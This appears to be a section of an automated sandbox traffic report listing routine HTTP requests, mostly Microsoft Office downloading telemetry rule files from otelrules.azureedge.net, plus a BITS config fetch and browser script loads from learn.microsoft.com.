Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
